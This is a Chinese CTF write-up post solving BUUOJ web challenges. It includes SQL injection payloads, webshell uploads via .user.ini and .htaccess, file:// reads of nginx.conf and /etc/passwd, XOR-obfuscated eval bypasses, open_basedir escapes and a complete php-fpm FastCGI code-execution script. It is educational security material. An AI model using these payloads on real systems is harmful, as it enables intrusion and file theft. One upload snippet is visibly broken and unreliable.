buuoj部分wp

2019-10-29  本文已影响0人  Err0rzz

Web

1.[SUCTF]EasySQL

预期解

后台的查询语句可能为select $_POST['a'] || flag from flag,此时的||为管道符,即前面的查询输出作为后面查询的输入。如果光是这样的话,我们是查询到flag表中的数据的(关键字被过滤),如下只能得到前面查询语句的查询结果:


所以要利用该查询语句查询到flag,我们应该将||转换成字符连接符,这样就能将前后查询结果拼接在一起返回。
这里需要修改mysqlsql_mode的一个配置pipes_as_concat,这样就可以达到目的。
而且该题目支持堆叠查询 所以如下payload:
1;set sql_mode=pipes_as_concat;select 1'

非预期

*,1

2.[SUCTF]CheckIn

题目中过滤了.htaccess,不过还有.user.ini可以利用。
可是还有个exif_imagetype的限制,这里可以直接在文件中加入xbm文件头

#define test_width 16
#define test_height 7

来绕过。
所以最后上传.user.ini和一句话木马


访问上传目录下的index.php,根据.user.ini的作用,将会去包含图片马

3.[SUCTF]Pythonginx

官方WP说是black hat2019上的东西

预期解


利用这个特殊的符号作为间隔,绕过代码中对suctf.cc的检验。前面是c,刚好是suctf.cc的第二个c,后面的u则用usru去接收。其中de1ta使用的是以下代码找到符合条件的特殊字符
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

然后用../../../以及file协议去读取文件,根据题目提示,去读取nginx的配置文件,如下:

file://suctf.c℆sr/../../../../../../usr/local/nginx/conf/nginx.conf

发现flag文件,读取文件
file://suctf.c℆sr/fffffflag

非预期

  1. 可以用替代.从而绕过检测,如:
file://suctf。cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://suctf。cc/usr/fffffflag
  1. 使用%C5%BF代替s绕过,如:
file://%C5%BFuctf.cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://%C5%BFuctf.cc/usr/fffffflag
  1. 利用file:////suctf.cc/etc/passwd绕过
    可以发现不管是urlparse还是urlsplit都是无法识别到host的,即为空
    然后经过题目中代码的转化,可以发现原本parts[1]的位置(host)还是为空,但是在urlunsplit重新拼接的时候,parts[0]:fileparts[1]:parts[2]://sucft.cc/etc/passwd拼接起来刚好就是file://suctf.cc/etc/passwd
    也就是说urlspliturlunsplit的过程中去掉了//

4.[SUCTF]easyphp

源码如下:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
  1. _长度要小于18
  2. 要绕过preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)正则
  3. 相同字符的个数要少于12个(这题中没什么用)
  4. 调用get_the_flag去触发文件上传

上面这里基本上是和https://xz.aliyun.com/t/5677一致,再联系到国赛lovemath
那题。不难想到要通过异或或者取反以及使用花括号获得GET请求中另一个参数,然后另外的那个参数去调用get_the_flag()。因为过滤了取反运算,所以我们采用异或运算去构造。

首先构造出_GET,使用字符串_GETascii码与0xffffffff异或,得到0xa0b8baab


然后使用0xa0b8baab^0xffffffff就可以构造出_GETascii码。
所以我们使用%ff%ff%ff%ff^%a0%b8%ba%ab,然后结果会进行一次url解码,所以会得到_GET

php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都⾃自动作为字符串串,7.2开始提出要被废弃,不过目前还存在着。所以其实有没有过滤引号都无所谓。

然后就要用到花括号了,${_GET}这种方式可以获得GET请求中所有变量的值,如下:


所以我们就可以使用${_GET}{%ff}的形式去读取GET请求中%ff的值(这里{}和[]是同样效果),如下:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

接下来是上传文件部分。

  1. 文件后缀不能包括ph
  2. 文件中不能出现<?
  3. 文件格式要绕过exif_imagetype($tmp_name)

这跟之前的Checkin差不多思路,后缀问题可以用.htaccess绕过,因为可以根据phpinfo发现php版本为7.2,所以无法用短标签绕过<?

7.0.0   The ASP tags <%, %>, <%=, and the script tag <script language="php"> are removed from PHP.
5.4.0   The tag <?= is always available regardless of the short_open_tag ini setting.

我们可以考虑用在.htaccess中用伪协议+base64编码绕过。文件格式加个

#define test_width 16
#define test_height 7

即可。
构造.htaccess如下:

#define test_width 16
#define test_height 7
AddType application/x-httpd-php .zz
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.zz"

构造1.jpg如下,其中b"\x18\x81\x7c\xf5"base64解码为GIF89

import base64
a="<?php eval($_GET['zz']);?>"
f = open('1.zz','b')
f.write(b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['zz']);?>")

上传getshell

接下来就是绕open_basedir的问题了。参考https://xz.aliyun.com/t/4720
修改一下payload,如下:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/THis_Is_tHe_F14g"));

除了上面这种方法可以绕过open_basedir以外,也可以用打fpm的方法来达到绕过。附P神脚本

import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import requests
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        # if not self.__connect():
        #     print('connect failure! please check your fasctcgi-server !!')
        #     return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)


    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir= /',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

5.[SUCTF]upload

因为折腾了太多天,感觉只写一点对不起自己,就另开一篇重点描述一下
https://www.jianshu.com/p/b97080cd7623

6.[EIS]ezpop

https://www.jianshu.com/p/763427ea0e4b

7.[bytectf]ezcms

https://www.jianshu.com/p/99bfcf67aa38

8.[XNUCA]ezphp

https://www.jianshu.com/p/649e2db7ce84

9.[D^3CTF]ezupload

https://www.jianshu.com/p/8758443fb495

10-13.[swpuctf2019]web1,3,4,6

https://www.jianshu.com/p/71bc9bdd9882

14.[RoarCTF2019]Easy Java

https://www.jianshu.com/p/4ead45ca06d7

15.[RoarCTF2019]Easy Calc

https://www.jianshu.com/p/4ead45ca06d7

16.[RoarCTF2019]Simple upload

https://www.jianshu.com/p/4ead45ca06d7

17.[De1CTF2019]shellshellshell

https://www.jianshu.com/p/c0b8efb60954

18.[De1CTF2019]SSRFme

https://www.jianshu.com/p/c0b8efb60954

19.[De1CTF2019]Giftbox

https://www.jianshu.com/p/c0b8efb60954
未完待续

上一篇下一篇

猜你喜欢

热点阅读